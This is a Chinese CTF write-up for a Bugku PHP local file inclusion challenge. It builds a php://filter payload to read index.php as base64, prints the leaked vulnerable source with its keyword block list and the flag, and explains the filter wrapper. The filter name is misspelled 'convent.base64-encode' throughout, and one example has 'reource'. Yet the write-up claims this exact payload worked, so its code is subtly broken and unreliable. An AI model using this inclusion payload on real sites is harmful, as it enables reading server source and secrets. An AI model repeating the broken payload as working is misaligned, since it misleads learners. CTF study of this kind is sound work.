wp-bugku-flag在index.php中

打开连接
在这里插入图片描述
查看源码发现:
在这里插入图片描述
文件包含。
使用php://filter读取index.php的源代码
构造payload:

index.php?file=php://filter/read=convent.base64-encode/resource=index.php

在这里插入图片描述
得到index.php源代码的base64
解密得到源代码:

<html>

    <title>Bugku-ctf</title>

    

<?php

	error_reporting(0);

	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}

	$file=$_GET['file'];

	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){

		echo "Oh no!";

		exit();
	}

	include($file); 

//flag:flag{edulcni_elif_lacol_si_siht}

?>

</html>

得到flag。


知识点:php://filter协议

php://filter可以作为一个中间流来处理其他流,具有四个参数:

resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

例子:

<?php
#这里没有指定过滤器
readfile("php://filter/resource=http://www.example.com");
?>

<?php
/* 这会以大写字母输出 www.example.com 的全部内容 */
readfile("php://filter/read=string.toupper/resource=http://www.example.com");

/* 这会和以上所做的一样,但还会用 ROT13 加密。 */
readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com");
?>
<?php
/* 使用base64编码读出index.php文件源代码。*/
index.php?file=php://filter/read=convent.base64-encode/reource=index.php
?>

本题需读出index.php的源代码,故构造payload为:

index.php?file=php://filter/read=convent.base64-encode/resource=index.php
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值